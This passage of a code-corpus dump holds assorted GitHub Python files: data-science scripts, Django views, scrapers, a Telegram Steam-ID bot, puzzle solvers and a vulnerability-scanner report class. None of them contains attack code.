top_names_history(df,year_select,gender_select)[['year','name','count']]\n\n# Create size column to highlight top name for current year\nhistory_df['size'] = np.where(history_df['name']==baby_name, 2, 1)\n\n# Get min/max for axis\nmin_year = history_df['year'].min()\nmax_year = history_df['year'].max()\n\n# Create altair chart object\nselection = alt.selection_multi(fields=['name'], bind='legend')\nc = alt.Chart(history_df).mark_line(interpolate='basis').encode(\n            alt.X('year(year):T', title='Year', scale=alt.Scale(domain=(min_year-5, max_year))),\n            alt.Y('count', title='Count'),\n            alt.Color('name', title='Name', scale=alt.Scale(scheme='category10')), \n            alt.Size('size'),\n            tooltip=['name','year(year):T','count'],\n            opacity=alt.condition(selection, alt.value(1), alt.value(0.2))\n        ).add_selection(selection)\n\n# Add vertical line for selected year\nrule = alt.Chart(pd.DataFrame({\n                'year': [year_select],\n                'color': ['steelblue']\n            })).mark_rule().encode(\n                x='year:T',\n                color=alt.Color('color:N', scale=None)\n            )\n\nyear_text = rule.mark_text(align='center', xOffset = 15, yOffset = 110)\\\n            .encode(text='year(year):T')\n\n\n# Display the chart           \nst.altair_chart(c + rule + year_text, use_container_width=True)\n","repo_name":"mwm668/baby_names","sub_path":"app_year.py","file_name":"app_year.py","file_ext":"py","file_size_in_byte":2563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"22248838165","text":"import datetime\nfrom dataclasses import asdict, dataclass\n\n\n@dataclass\nclass Vulnerability:\n    check_name: str\n    description: str\n    recommendation: str\n    proof: str\n    severity: str\n    app_key: str\n    app_name: str\n    date: str\n\n\nclass Reporter:\n    def __init__(self, app_key, app_name):\n        self.started_at = datetime.datetime.now(datetime.timezone.utc).isoformat()\n        self.vulns = []\n        self.app_key = app_key\n        self.app_name = app_name\n\n    def add_vuln(\n        self,\n        check_name: str,\n        description: str,\n        recommendation: str,\n        proof: str,\n        severity: str,\n    ):\n        self.vulns.append(\n            asdict(\n                Vulnerability(\n                    check_name=check_name,\n                    description=description,\n                    recommendation=recommendation,\n                    proof=proof,\n                    severity=severity,\n                    app_key=self.app_key,\n                    app_name=self.app_name,\n                    date=str(datetime.date.today()),\n                )\n            )\n        )\n\n    def finish(self):\n        return {\n            \"vulns\": self.vulns,\n            \"scanner\": \"Connect Vulnerability Scanner\",\n            \"started_at\": self.started_at,\n            \"ended_at\": datetime.datetime.now(datetime.timezone.utc).isoformat(),\n            \"scanned\": [self.app_key],\n            \"errors\": False,\n        }\n","repo_name":"atlassian-labs/Connect-Vulnerability-Scanner","sub_path":"report.py","file_name":"report.py","file_ext":"py","file_size_in_byte":1436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"8072538096","text":"'''\nReferences:\n## https://machinelearningmastery.com/time-series-prediction-lstm-recurrent-neural-networks-python-keras/\n## https://www.youtube.com/watch?v=ftMq5ps503w\n'''\n\nfrom tensorflow.keras.layers import Dense, Dropout, LSTM\nfrom tensorflow.keras.models import Sequential\nimport matplotlib.pyplot as plt\nimport os\nimport numpy as np\nfrom sklearn.preprocessing import MinMaxScaler\n\n\n### read data\nfilename = 'sp500.csv'\ndata = open(filename, 'r').read().split()\nresult = []\n\n\n### normalise dataset\ndata = np.array(data, dtype='float64')\ndata = np.reshape(data, (-1,1))\nscaler = MinMaxScaler(feature_range=(0, 1))\ndata = scaler.fit_transform(data)\ndata = np.reshape(data, (-1,))\n\nsequence_length = 50 + 1\n\n\n### format data\nfor index in range(len(data) - sequence_length):\n    result.append(data[index: index + sequence_length])\n\narr = np.asarray(result, dtype='float64')\nsize = arr.shape[0]\n\narr = np.expand_dims(arr, axis=1)\n\n\n### train-test split\ntrain_size = int(size*0.8)\ntrain, test = arr[0:train_size], arr[train_size:]\n\nxtrain = train[:,:,0:-1]\nytrain = train[:,:,-1:]\nytrain = ytrain[:,-1]\n\nxtest = test[:,:,0:-1]\nytest = test[:,:,-1:]\nytest = ytest[:,-1]\n\n\n### model\nmodel = Sequential()\n\nmodel.add(LSTM(50, input_shape=(1,sequence_length-1), return_sequences=True))\nmodel.add(Dropout(0.2))\nmodel.add(LSTM(100, return_sequences=False))\nmodel.add(Dropout(0.2))\nmodel.add(Dense(1, activation='linear'))\n\nmodel.compile(loss='mse', optimizer='rmsprop')\nmodel.summary()\nmodel.fit(xtrain, ytrain, batch_size=64, epochs=5,\n          validation_split=0.05, verbose=2)\n\n\n### make prediction\ntpred = model.predict(xtest)\n\n\n### plot data\ntpred = scaler.inverse_transform(tpred)\ntpred = np.reshape(tpred, (len(tpred),))\n\nttrue = scaler.inverse_transform(ytest)\nttrue = np.reshape(ttrue, (len(tpred),))\n\nplt.plot(tpred)\nplt.plot(ttrue)\nplt.show()\n","repo_name":"shafeeqqq/Time-series-forecasting","sub_path":"timeseries.py","file_name":"timeseries.py","file_ext":"py","file_size_in_byte":1847,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"57"}
+{"seq_id":"2055618663","text":"def isprime(n):\n\t'''Returns true if prime'''\n\tif n==2 or n==3:\n\t\treturn True\n\telif n%2==0:\n\t\treturn False\n\telif n%3==0:\n\t\treturn False\n\n\ti=5\n\tw=2\n\n\twhile i*i <=n:\n\t\tif n%i==0:\n\t\t\treturn False\n\t\ti+=w\n\t\tw=6-w\n\treturn True\n\ndef Sieve_Erythrose(a,b,n):\n\tarr=[]\n\tarr.append(2)\n\ti=3\n\twhile i*i<=b:\n\t\tif isprime(i):\n\t\t\tarr.append(i)\n\t\ti+=2\n\tdiv=0\n\tfor i in xrange(a,b+1,1):\n\t\tval=i\n\t\tcount=1\n\t\tj=0\n\t\twhile val!=1 and j<len(arr):\n\t\t\tc=0\n\t\t\tif val%arr[j]==0:\n\t\t\t\twhile val%arr[j]==0:\n\t\t\t\t\tval=val/arr[j]\n\t\t\t\t\tc+=1\n\t\t\tcount*=c+1\n\t\t\tj+=1\n\t\tif val!=1:\n\t\t\tcount*=2\n\t\tif count==n:\n\t\t\tdiv+=1\n\treturn div\n","repo_name":"captain59/importantCodes","sub_path":"euler/other_imp/fast_prime.py","file_name":"fast_prime.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"17039427070","text":"from typing import Dict, Tuple\n\n# Attributions to i_have_no_biscuits\n\ndef parse_line(line: str) -> int:\n    # s = \"\".join([x for x in list(line) if x.isdigit() or x == \"-\"])\n    s = line.split()[2]\n    return int(s)\n\n\ndef proc(params, z: int, w: int):\n    (a, b, c) = params\n    if ((z % 26) + b != w):\n        return (z // a) * 26 + (w + c)\n    else:\n        return z // a\n\n\ndef parse_input():\n    with open(\"input.txt\") as f:\n        lines = f.readlines()\n    a_idx = 4\n    b_idx = 5\n    c_idx = 15\n\n    parameters = []\n\n    for i in range(0, 14):\n        a = parse_line(lines[a_idx + 18 * i])\n        b = parse_line(lines[b_idx + 18 * i])\n        c = parse_line(lines[c_idx + 18 * i])\n        parameters.append((a, b, c))\n    return parameters\n\n\nparameters = parse_input()\n\nzs: Dict[int, Tuple[int, int]] = {0: (0, 0)}\nfor i, param in enumerate(parameters):\n    new_zs = {}\n    for z, inp in zs.items():\n        if z >= 26 ** (len(parameters) - i):\n            continue\n\n        for w in range(1, 10):\n            new_z = proc(param, z, w)\n\n            if param[0] == 1 or (param[0] == 26 and new_z < z):\n                new_low, new_high = inp[0]*10+w, inp[1]*10+w\n                if new_z not in new_zs:\n                    new_zs[new_z] = (new_low, new_high)\n                else:\n                    old_low, old_high = new_zs[new_z]\n                    new_zs[new_z] = (\n                        min(old_low, new_low),\n                        max(old_high, new_high)\n                    )\n\n    zs = new_zs\n\nprint(\"Best valid values:\", zs[0])\n","repo_name":"Gers2017/advent-of-code","sub_path":"2021/day-24/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"25024554875","text":"import librosa\nimport numpy as np\n\ndef voiceprocess(path):\n    # 加载音频文件\n    audio_path = path\n    audio, sr = librosa.load(audio_path, sr=None)\n\n    # 提取MFCC特征\n    mfcc = librosa.feature.mfcc(y=audio, sr=sr, n_mfcc=13)\n\n    # 归一化到 0 到 255 的范围内\n    normalized_mfcc = (mfcc - np.min(mfcc)) / (np.max(mfcc) - np.min(mfcc)) * 255\n\n    # 将浮点数转换为整数\n    observation = normalized_mfcc\n\n    # 打印MFCC特征的形状\n    #print(\"MFCC shape:\", observation.shape)\n\n    # 输出MFCC特征矩阵\n    #print(\"MFCC matrix:\\n\", observation)\n\n    return observation\n","repo_name":"RidenShogunei/try-to-use-HMM","sub_path":"语音识别/voiceprocess.py","file_name":"voiceprocess.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"12264125755","text":"# 2domain - by: proxlu\n\nimport sys\nimport itertools\nimport whois\nfrom tqdm import tqdm\n\ndef check_domain_availability(domain):\n    try:\n        w = whois.whois(domain)\n        if w.status == None:\n            return True\n        else:\n            return False\n    except whois.parser.PywhoisError:\n        return True\n\ndef generate_domains(extension):\n    chars = \"0123456789abcdefghijklmnopqrstuvwxyz\"\n    domains = []\n\n    for combo in itertools.product(chars, repeat=2):\n        domain = ''.join(combo) + extension\n        domains.append(domain)\n\n    return domains\n\nextension = None\nif len(sys.argv) == 2:\n    extension = sys.argv[1]\nelse:\n    extension = input(\"Digite a extensão do domínio (exemplo: .com): \")\n\navailable_domains = []\ndomains = generate_domains(extension)\n\nprint(\"Verificando a disponibilidade de domínios:\")\nfor domain in tqdm(domains):\n    if check_domain_availability(domain):\n        available_domains.append(domain)\n\nprint(\"\\nDomínios disponíveis:\")\nfor domain in available_domains:\n    print(domain)\n","repo_name":"proxlu/2domain","sub_path":"2domain.py","file_name":"2domain.py","file_ext":"py","file_size_in_byte":1033,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"12692180071","text":"def check_color(color):\n\t\"\"\"\n\tcheck the valid color\n\t:param color:\n\t:return:\n\t\"\"\"\n\tvalid_colors = ['r', 'g', 'b', 'y', 'm']\n\tfor col in valid_colors:\n\t\tif color == col:\n\t\t\treturn True\n\treturn False\n","repo_name":"tontonel/lab_8","sub_path":"utils/uitls.py","file_name":"uitls.py","file_ext":"py","file_size_in_byte":198,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"33839996979","text":"from django import forms\nfrom .models import Note\nfrom django.core.exceptions import ValidationError\n\nclass NotesForm(forms.ModelForm):\n    class Meta:\n        model = Note\n        fields = ('title', 'text')\n        widgets = {\n            'title' : forms.TextInput(attrs={'class':'form-control'}),\n            'text' : forms.TextInput(attrs={'class':'form-control'})\n        }\n\n        labels = {\n            'title': 'Your Notes Title is here:',\n            'text': 'Write your Thoughts here:',\n        }\n\n    def clean_title(self):\n        title = self.cleaned_data['title']\n        if 'Django' not in title:\n            raise ValidationError(\"We only accept notes about Django!\")\n        return title","repo_name":"nayeem-ice10/smartnotes","sub_path":"notes/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"28177560502","text":"from selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nimport pandas as pd\n\noptions = webdriver.ChromeOptions()\noptions.add_experimental_option(\n    'excludeSwitches', \n    ['enable-logging'])\ndriver = webdriver.Chrome(\n    executable_path='../chromedriver_win32/chromedriver', \n    options = options)\ndriver.get('https://www.espn.com/nfl/game/_/gameId/401437752')","repo_name":"physicslifter/NFL_Betting","sub_path":"ReadingESPNWinProb/get_page_in_selenium.py","file_name":"get_page_in_selenium.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"71642169137","text":"'''\n    @File    handle Douban comments [python3.5]\n    @Author  tx\n    @Created On 2018-04-26\n    @Updated On 2018-04-28\n'''\n\nimport os\nimport sys\nimport re\nimport jieba\nimport pandas as pd\nimport numpy\nimport matplotlib.pyplot as plt\nfrom wordcloud import WordCloud\nimport pprint\npwd = os.path.dirname(os.path.realpath(__file__))           #pwd2 = sys.path[0]\n# pardir = os.path.abspath(os.path.join(pwd, os.pardir))\nsys.path.append(pwd)\nfrom pylib.data_handle import get_outpath, save_data, get_data\n\n\n\ndef handle_buffer(buf):\n    if not buf:\n        print('No data to clean.')\n\n    # (清洗) 将列表中的数据转换为字符串\n    comments = ''\n    for i in range(len(buf)):\n        comments = comments + str(buf[i]).strip()\n    # print(comments)\n\n    # 使用正则表达式去除标点符号\n    pattern = re.compile(r'[\\u4e00-\\u9fa5]+')\n    filterdata = re.findall(pattern, comments)\n    c_comments = ''.join(filterdata)\n    # print(c_comments)\n\n    # 使用结巴分词进行中文分词\n    segment  = jieba.lcut(c_comments)\n    words_df = pd.DataFrame({'segment': segment})\n\n    # 去掉停用词\n    stpwdpath = os.path.join(pwd, 'stopwords', './stopwords.txt')\n    stopwords = pd.read_csv(stpwdpath, index_col=False, quoting=3, sep=\"\\t\",\n        names=['stopword'],encoding='utf-8')\n    words_df = words_df[~words_df.segment.isin(stopwords.stopword)]\n    # print(words_df.head())\n\n    # 统计词频\n    words_stat=words_df.groupby(by=['segment'])['segment'].agg({\"计数\":numpy.size})\n    words_stat = words_stat.reset_index().sort_values(by=[\"计数\"], ascending = False)\n    # print(words_df.head())\n\n\n    # (用词云进行显示)   指定字体类型、大小、颜色\n    wordcloud = WordCloud(font_path=\"simhei.ttf\",\n                            background_color=\"white\",\n                            max_font_size=80)\n\n    word_frequence = {x[0]:x[1] for x in words_stat.head(1000).values}\n\n    wordcloud=wordcloud.fit_words(word_frequence)\n    plt.imshow(wordcloud, interpolation=\"bilinear\")\n    plt.axis(\"off\")\n    plt.show()\n\n\n\ndef main():\n    outpath = get_outpath(path1='output', path2='data')\n    buff = get_data(outpath, 'comments.json', ftype='json')\n    # print(len(buff))\n    # print(type(buff))\n    handle_buffer(buff)\n\nif __name__ == '__main__':\n    main()","repo_name":"Maggie147/douban_comments","sub_path":"handle_comments.py","file_name":"handle_comments.py","file_ext":"py","file_size_in_byte":2292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"36228216645","text":"def CstDefineOpenBoundary(mws, minfrequency, Xmin, Xmax, Ymin, Ymax, Zmin, Zmax):\n    boundary = mws.Boundary\n    plot = mws.Plot\n\n    boundary.Xmin(Xmin)\n    boundary.Xmax(Xmax)\n    boundary.Ymin(Ymin)\n    boundary.Ymax(Ymax)\n    boundary.Zmin(Zmin)\n    boundary.Zmax(Zmax)\n    boundary.Xsymmetry('none')\n    boundary.Ysymmetry('none')\n    boundary.Zsymmetry('none')\n    boundary.XminThermal('isothermal')\n    boundary.XmaxThermal('isothermal')\n    boundary.YminThermal('isothermal')\n    boundary.YmaxThermal('isothermal')\n    boundary.ZminThermal('isothermal')\n    boundary.ZmaxThermal('isothermal')\n    boundary.XsymmetryThermal('none')\n    boundary.YsymmetryThermal('none')\n    boundary.ZsymmetryThermal('none')\n    boundary.ApplyInAllDirections('False')\n    boundary.ApplyInAllDirectionsThermal('False')\n    boundary.XminTemperature('')\n    boundary.XminTemperatureType('None')\n    boundary.XmaxTemperature('')\n    boundary.XmaxTemperatureType('None')\n    boundary.YminTemperature('')\n    boundary.YminTemperatureType('None')\n    boundary.YmaxTemperature('')\n    boundary.YmaxTemperatureType('None')\n    boundary.ZminTemperature('')\n    boundary.ZminTemperatureType('None')\n    boundary.ZmaxTemperature('')\n    boundary.ZmaxTemperatureType('None')\n    if Xmin == 'unit cell':\n        boundary.XPeriodicShift('0.0')\n        boundary.YPeriodicShift('0.0')\n        boundary.ZPeriodicShift('0.0')\n        boundary.PeriodicUseConstantAngles('False')\n        boundary.SetPeriodicBoundaryAngles('0.0', '0.0')\n        boundary.SetPeriodicBoundaryAnglesDirection('outward')\n        boundary.UnitCellFitToBoundingBox('True')\n        boundary.UnitCellDs1('0.0')\n        boundary.UnitCellDs2('0.0')\n        boundary.UnitCellAngle('90.0')\n    if Xmin == 'expanded open':\n        boundary.ReflectionLevel('0.0001')\n        boundary.MinimumDistanceType('Fraction')\n        boundary.MinimumDistancePerWavelengthNewMeshEngine('4')\n        boundary.MinimumDistanceReferenceFrequencyType('CenterNMonitors')\n        boundary.FrequencyForMinimumDistance(str(minfrequency))\n        boundary.SetAbsoluteDistance('0.0')\n        plot.DrawBox('True')\n","repo_name":"kaankvrck/Cst-Py-Api","sub_path":"Simulation/CstDefineOpenBoundary.py","file_name":"CstDefineOpenBoundary.py","file_ext":"py","file_size_in_byte":2130,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"57"}
+{"seq_id":"73833054259","text":"from django.shortcuts import render\nfrom django.views.generic import TemplateView, ListView,DetailView\nfrom django.shortcuts import render, get_object_or_404\nfrom django.urls import reverse_lazy\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.contrib.auth.decorators import login_required\nfrom django.views.generic import FormView\nfrom questions.forms import CreateQuestionForm, AnswerForm\nfrom questions.business_logics import CreateQuestion,QuestionAlreadyExistError,AnswerQuestion\nfrom questions.models  import Question\n# Create your views here.\n\n\nclass HomeView(ListView):\n    model = Question\n    template_name = 'home.html'\n    context_object_name = 'questions'\n    \n    \nhome_view = HomeView.as_view()\n\n\nclass AnsweredQuestionsView(ListView):\n    model = Question\n    template_name ='answered_questions.html'\n    context_obeject_name = 'questions'\n    \n    def get_queryset(self):\n        queryset = Question.objects.answered_questions()\n        return queryset\n\nanswered_questions_view = AnsweredQuestionsView.as_view()\n\n\nclass UnAnsweredQuestionsView(ListView):\n\n    model = Question\n    template_name = 'unanswered_Questions.html'\n    context_object_name = 'questions'\n    \n    def get_queryset(self):\n        queryset = Question.objects.unanswered_questions()\n        return queryset\n\nunanswered_questions_view = UnAnsweredQuestionsView.as_view()\n\n\nclass CreateQuestionView(LoginRequiredMixin,FormView):\n    \n    login_url = reverse_lazy('login_view')\n    template_name = 'ask_question.html'\n    form_class = CreateQuestionForm\n    success_url = reverse_lazy('home_view')\n    \n    def post(self, request, *args, **kwargs):\n        form = self.get_form()\n        \n        if form.is_valid():\n            self._run_business_logic(form)\n            if not form.errors:\n                return self.form_valid(form)\n        return self.form_invalid(form)\n    \n    def _run_business_logic(self, form):\n        question_business = CreateQuestion(\n            form.cleaned_data['question'],\n            self.request.user,\n        )\n        \n        try:\n            question_business.execute_question()\n            \n        except QuestionAlreadyExistError as err:\n            form.add_error('question', str(err))\n        \n        \ncreate_question_view = CreateQuestionView.as_view()\n\n\n@login_required(login_url=reverse_lazy('login_view'))\ndef question_detail_view(request, pk):\n    \n    def _run_business_logic(question,answer_form, user):\n        print(\"calling\")\n        print(question)\n        print(answer_form.cleaned_data['answer'])\n        print(user)\n        answer_business = AnswerQuestion(\n            question,\n            answer_form.cleaned_data['answer'],\n            user,\n        )\n#        answer_business.execute_answer()\n        try:\n            answer_business.execute_answer()\n            print(\"f\")\n        except Exception as err:\n            print(\"ff\")\n            pass\n            \n    question = get_object_or_404(Question, pk=pk)\n   \n    if request.method == 'POST':\n        answer_form = AnswerForm(request.POST or None)\n        if answer_form.is_valid():\n            print(question)\n            _run_business_logic(question,answer_form,request.user)\n            question.answered()\n    \n    answer_form = AnswerForm            \n    return render(request, 'question_detail.html', {\n        'answer_form':answer_form,\n        'question':question}\n                 )\n\n\n\ndef answer_view(request):\n    answer = request.GET.get('answer', None)\n    print(answer)\n    return JsonResponse(data)","repo_name":"bs1278/quora","sub_path":"questions/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3542,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"57"}
+{"seq_id":"33712047072","text":"from itertools import izip\ncuePath ='Cue/Ftraincue.context'\nwordPath='Word/Ftrainword.context'\nmergePath='MergeFtrain.context'\n\ncue =open(cuePath,'r')\nword =open(wordPath,'r')\nmerge =open(mergePath,'w')\nfor line1,line2 in izip(word,cue):\n    line1=line1.strip()\n    line2 =line2.strip()\n    if line1!='':\n        line =line1+' '+line2\n        merge.write(line+'\\n')\n\ncue.close()\nword.close()\nmerge.close","repo_name":"Xls1994/DeepLearningCode","sub_path":"Python/mergeFile.py","file_name":"mergeFile.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"57"}
+{"seq_id":"27073958410","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jun 25 09:44:06 2021\n\n@author: james\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom tensorflow.keras.datasets import  mnist\n\nindex = 24\nfolder = 'FF_1000_2000_70_2_L2_rank-nonlinear_rand'\n\n(train_images, train_labels), (test_images, test_labels) = mnist.load_data()\ntrain_images = train_images.reshape(60000, 784).astype(np.float32)/255\n\nfig,ax = plt.subplots(1,2)\nax[0].imshow(train_images[index].reshape(28,28), cmap='gray')\nax[1].imshow(np.load(f'../output/{folder}/{str(index)}_img.npy').reshape(28,28), cmap='gray')\nplt.show()","repo_name":"jrb28/telo-2022-16","sub_path":"MNIST/code/ga/view_compare.py","file_name":"view_compare.py","file_ext":"py","file_size_in_byte":588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"71552681137","text":"# -*- coding: utf-8 -*\n#第三方包: bs4,py-term\nfrom bs4 import BeautifulSoup\nimport urllib2\nimport term\n\n##  get html content to soup\ndef getUrlCon(url):\n  return BeautifulSoup(urllib2.urlopen(str(url)).read(),\"html.parser\")\n\n##  get soup\ndef getUrl(soup):\n  div=soup.find(id=\"detailVideo\")\n  return str(div.get(\"data-video\"))\n\n##  get mp4 file name\ndef getFileName(url):\n  filename=url[url.rindex('/')+1:len(url)]\n  return filename\n\n##  download file\ndef DownLoad(mediaUrl):\n  term.writeLine(\"--------------------------------------------------------------------------------\",term.yellow)\n  term.writeLine(\"开始地址:\"+mediaUrl,term.dim)\n  url=getUrl(getUrlCon(mediaUrl))\n  term.writeLine(\"文件地址:\"+url,term.blue)\n  filename=getFileName(url)\n  f=open(filename,'wb')\n  f.write(urllib2.urlopen(url).read())\n  term.writeLine(\"已下载:\"+filename,term.cyan)\n  term.writeLine(\"--------------------------------------------------------------------------------\",term.yellow)\n  f.close()\n  term.write(\"\\n\\n\\n\\n\")\n\n##  read file list and download\nflist=open('list2.txt','r')\nfor line in flist.readlines():\n    DownLoad(line.strip())\n","repo_name":"ilyasjan/meipai-python","sub_path":"download.py","file_name":"download.py","file_ext":"py","file_size_in_byte":1136,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"5774129458","text":"#Telegram Bot to find the steam account associated with the entered ID\r\n\r\nimport telebot\r\nimport random\r\nimport time\r\n\r\n# Default Values\r\nAPI_TOKEN_FILE = \"user_token.txt\"       # API Token file name\r\nRETRY_INTERVAL = 10                     # Seconds to wait before retrying if bot ever goes down\r\n\r\n\r\n# Getting API Token from file\r\ntry:\r\n    with open(API_TOKEN_FILE, 'r') as token_file:\r\n        bot_token = token_file.read().strip()\r\nexcept FileNotFoundError:\r\n    print(\"No API Token file found\")\r\n    exit(1)\r\nbot = telebot.TeleBot(bot_token)\r\n\r\n\r\n# Checks to see if entered value is correct\r\ndef checkID(message):                                               \r\n    # Steam ID cannot be alphabetical or longer than 17 characters\r\n    if message.text.isdigit() and len(message.text) <= 17:          \r\n        return True\r\n    elif message.text[0] == '/':\r\n        bot.send_message(message.chat.id, 'I dont understand that command')\r\n    else:\r\n        bot.send_message(message.chat.id, 'The ID you sent is invalid.')\r\n\r\n#Converts SteamID32 to SteamID64\r\ndef convertID(ID):\r\n    return int(ID) + 76561197960265728                              \r\n\r\n\r\n# Telegram Chat Commands\r\n# Start Command\r\n@bot.message_handler(commands=['start']) \r\ndef bot_start(message):\r\n    bot.send_message(message.chat.id, 'You can send me a Steam or Dota 2 ID to find the account')\r\n\r\n# Help Command\r\n@bot.message_handler(commands=['help'])\r\ndef bot_help(message):\r\n    bot.send_message(message.chat.id, 'You can send me a Steam or Dota 2 ID to find the account')\r\n    bot.send_message(message.chat.id, 'For Example, 76561198312899054 or 352633326')\r\n\r\n# Generates random steam IDs\r\n@bot.message_handler(commands=['random'])                           \r\ndef randomID(message):\r\n    random_ID = random.randint(1,1000000000)\r\n    bot.send_message(message.chat.id, f'https://steamcommunity.com/profiles/{convertID(random_ID)}')\r\n\r\n# Wonder what this does? xD\r\n@bot.message_handler(commands=['spam'])\r\ndef spammer(message):\r\n    while True:\r\n        random_ID = random.randint(1,1000000000)\r\n        bot.send_message(message.chat.id, f'https://steamcommunity.com/profiles/{convertID(random_ID)}')\r\n    \r\n        \r\n# Gets the Steam account URL and sends it in chat\r\n@bot.message_handler(func=checkID)                                 \r\ndef SteamID(message):                                             \r\n    try:                                                         \r\n        if len(message.text) < 17:  \r\n            ID = convertID(message.text)  \r\n            bot.send_message(message.chat.id, f'https://steamcommunity.com/profiles/{ID}')\r\n        elif len(message.text) == 17:\r\n            ID = message.text\r\n            bot.send_message(message.chat.id, f'https://steamcommunity.com/profiles/{ID}')\r\n        else:\r\n            bot.send_message(message.chat.id, 'Error!')\r\n    except:\r\n        bot.send_message(message.chat.id, 'Send me the Account ID rather than the username')\r\n        bot.send_message(message.chat.id, 'For Example, 76561198312899054 or 352633326')\r\n\r\n\r\ndef main(retry_interval):    \r\n    print(\"Script Running...\")\r\n    # Retries after a certain time if bot ever goes down\r\n    while True:                                   \r\n        try:                                     \r\n            bot.polling()\r\n        except:\r\n            time.sleep(retry_interval)\r\n\r\nmain(RETRY_INTERVAL)\r\n","repo_name":"screaminglineage/SteamIDFinder","sub_path":"Steam_ID_Finder.py","file_name":"Steam_ID_Finder.py","file_ext":"py","file_size_in_byte":3385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"31289831193","text":"\nN = int(input())\n\narray = list(map(int,input().split()))\n\ncur,Vmax = array[0], array[0]\n\nfor i in range(1, N) :\n    if cur + array[i] < 0 :\n        if cur < 0 :\n            cur = max(cur+array[i],array[i])\n        else :\n            cur = 0\n    else :\n        cur = cur + array[i]\n    Vmax = max(Vmax, cur)\n\nprint(Vmax)\n\n## 다른사람 풀이 : 더 깔끔함\n# def find_max(arr, num):\n#     if num == 0:\n#         return 0\n#     tot = arr[0]\n#     max_tot = tot\n#     for i in range(1, num):\n#         if tot > 0 and tot + arr[i] >= 0:\n#             tot += arr[i]\n#         else:\n#             tot = arr[i]\n#         if max_tot < tot:\n#             max_tot = tot\n#     return max_tot","repo_name":"psw9999/Algorithms","sub_path":"1_Site/Baekjoon_연속합_Python.py","file_name":"Baekjoon_연속합_Python.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"57"}
+{"seq_id":"14445871704","text":"import matchfuncs, miscfuncs, sys\nimport globvars\n\n\nif len(sys.argv) != 5:\n\tprint('Error: create-matches-manual.py requires 4 arguments');\n\tquit()\n\n\n# # mpdb = \"mentorship program database\"\nmpdb, cursor = miscfuncs.createCursor()\n\n\nstart_date, end_date = sys.argv[1], sys.argv[2]\nmatches = [[sys.argv[3], sys.argv[4]]]\n\nprint(matches[0])\n\nmatchfuncs.addMatchesToDatabase(cursor, matches, start_date, end_date)\n\nmpdb.commit()\ncursor.close()\nmpdb.close()\n\nprint(\"1 match inserted into database.\")\n","repo_name":"matthewj12/wsu-mentorship-website","sub_path":"backend/static-files/python/create-matches-manual.py","file_name":"create-matches-manual.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"57"}
+{"seq_id":"71686486578","text":"\"\"\"\n枚举2\n□□□ + □□□ = □□□，将1~9分别填入其中使等式成立，数字不重复，求所有的解法和解法个数（加数互相调换的两个解法算作一个）\n\"\"\"\ntotal = 0\nfor a in range(1, 10):\n    for b in range(1, 10):\n        for c in range(1, 10):\n            for d in range(1, 10):\n                for e in range(1, 10):\n                    for f in range(1, 10):\n                        for g in range(1, 10):\n                            for h in range(1, 10):\n                                for i in range(1, 10):\n                                    if a != b and a != c and a != d and a != e and a != f and a != g and a != h and a != i and b != c and b != d and b != e and b != f and b != g and b != h and b != i and c != d and c != e and c != f and c != g and c != h and c != i and d != e and d != f and d != g and d != h and d != i and e != f and e != g and e != h and e != i and f != g and f != h and f != i and g != h and g != i and h != i and (a + d) * 100 + (b + e) * 10 + c + f == 100 * g + 10 * h + i:\n                                        print(\"%s%s%s + %s%s%s = %s%s%s\" %\n                                              (a, b, c, d, e, f, g, h, i))\n                                        total = total + 1\nprint(\"共有%s种解法\" % (total // 2))\n\n\"\"\"\n本部分代码相当复杂，可以使用Pytohn自动生成，如if语句可用以下方法生成：\n\ns = \"abcdefghi\"\nq = []\nfor i,j in enumerate(s):\n    for k in s[i+1:]:\n        q.append(j+\" != \"+k)\nq.append(\"(a + d) * 100 + (b + e) * 10 + c + f == 100 * g + 10 * h + i\")\nprint(\"if \" + \" and \".join(q) + 